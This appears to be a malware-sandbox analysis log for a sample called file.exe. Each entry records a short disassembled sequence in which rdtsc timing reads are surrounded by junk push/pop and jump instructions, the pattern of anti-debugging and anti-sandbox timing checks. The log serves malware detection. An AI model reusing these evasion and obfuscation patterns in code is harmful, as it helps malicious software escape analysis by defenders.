Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017E0F second address: 1017E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017F88 second address: 1017F8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017F8E second address: 1017FC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F0A0CDE9D16h 0x00000009 jne 00007F0A0CDE9D16h 0x0000000f popad 0x00000010 jns 00007F0A0CDE9D22h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F0A0CDE9D1Eh 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017FC6 second address: 1017FD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017FD5 second address: 1017FDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0A0CDE9D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017FDF second address: 1017FEA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018118 second address: 1018146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0A0CDE9D1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0A0CDE9D27h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018146 second address: 101814C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018287 second address: 101828B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EDE7 second address: 101EDEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EDEF second address: 101EDFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EDFA second address: 101EE1A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0A0CDBB9B6h 0x00000008 jmp 00007F0A0CDBB9BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 push edx 0x00000011 jc 00007F0A0CDBB9C2h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EE1A second address: 101EE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F09F second address: 101F0B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F0A0CDBB9F4h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F0B0 second address: 101F0E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0A0CDE9D16h 0x0000000a jmp 00007F0A0CDE9D28h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 jnc 00007F0A0CDE9D16h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F0E0 second address: 101F0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F4D9 second address: 101F504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F0A0CDE9D20h 0x0000000b popad 0x0000000c jmp 00007F0A0CDE9D24h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F504 second address: 101F50C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F50C second address: 101F51D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0A0CDE9D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F51D second address: 101F53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0A0CDBB9C2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F53A second address: 101F53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F53E second address: 101F542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F542 second address: 101F555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023826 second address: 1023836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jne 00007F0A0CDBB9B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023836 second address: 102383B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102383B second address: 1023866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C4h 0x00000007 jmp 00007F0A0CDBB9BBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023866 second address: 1023874 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0A0CDE9D22h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023874 second address: 102387E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0A0CDBB9B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102387E second address: 102389A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDE9D22h 0x00000009 je 00007F0A0CDE9D16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102389A second address: 102389E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B4CF second address: 102B510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D28h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jmp 00007F0A0CDE9D29h 0x00000011 push edx 0x00000012 js 00007F0A0CDE9D16h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037CD2 second address: 1037CD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A8F6 second address: 103A917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0A0CDE9D28h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A917 second address: 103A91B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A91B second address: 103A91F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A41A second address: 103A428 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A5B2 second address: 103A5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A5BD second address: 103A5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A5C1 second address: 103A5C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A5C5 second address: 103A5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0A0CDBB9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0A0CDBB9C5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10404CF second address: 10404D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10404D7 second address: 10404DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049CD1 second address: 1049CD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049CD7 second address: 1049CDD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D453 second address: 104D463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F0A0CDE9D22h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D463 second address: 104D469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D469 second address: 104D473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D473 second address: 104D4A0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9B6h 0x00000008 jmp 00007F0A0CDBB9C9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 ja 00007F0A0CDBB9C2h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D4A0 second address: 104D4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053881 second address: 10538A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jno 00007F0A0CDBB9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0A0CDBB9C5h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10538A8 second address: 10538D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D24h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F0A0CDE9D1Eh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052575 second address: 105257D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105257D second address: 1052581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105284C second address: 1052850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105297D second address: 1052987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0A0CDE9D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052987 second address: 1052991 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052991 second address: 1052997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052997 second address: 10529A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0A0CDBB9BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10529A7 second address: 10529AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052B40 second address: 1052B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007F0A0CDBB9BAh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052B53 second address: 1052B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052B59 second address: 1052B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058014 second address: 1058025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jo 00007F0A0CDE9D16h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057C26 second address: 1057C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060E71 second address: 1060E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060CFF second address: 1060D09 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0A0CDBB9C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C54D second address: F6C566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F0A0CDE9D20h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C566 second address: F6C576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0A0CDBB9B6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C576 second address: F6C57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A0EE second address: 106A0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066551 second address: 106657E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0A0CDE9D16h 0x0000000a ja 00007F0A0CDE9D16h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0A0CDE9D28h 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106657E second address: 1066582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066582 second address: 106658B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077066 second address: 107706F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107896A second address: 107897A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0A0CDE9D16h 0x00000008 jbe 00007F0A0CDE9D16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F176 second address: 108F18E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9C0h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F18E second address: 108F196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F196 second address: 108F1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DF83 second address: 108DF91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DF91 second address: 108DF95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E2D1 second address: 108E2D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E8FF second address: 108E911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E911 second address: 108E915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E915 second address: 108E935 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C6h 0x00000007 jc 00007F0A0CDBB9B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E935 second address: 108E941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F0A0CDE9D16h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E941 second address: 108E95E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0A0CDBB9C5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ED25 second address: 108ED40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D25h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093050 second address: 1093054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093162 second address: 1093168 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093385 second address: 1093389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093389 second address: 109338D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109338D second address: 1093393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10968D7 second address: 10968FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDE9D1Dh 0x00000009 jmp 00007F0A0CDE9D1Dh 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10968FB second address: 1096921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9C7h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c jo 00007F0A0CDBB9C2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096921 second address: 1096932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0A0CDE9D16h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096932 second address: 1096958 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9BDh 0x00000007 jmp 00007F0A0CDBB9C5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096958 second address: 109695D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109695D second address: 1096965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720250 second address: 5720257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720257 second address: 5720291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jmp 00007F0A0CDBB9C6h 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0A0CDBB9C7h 0x00000017 rdtsc
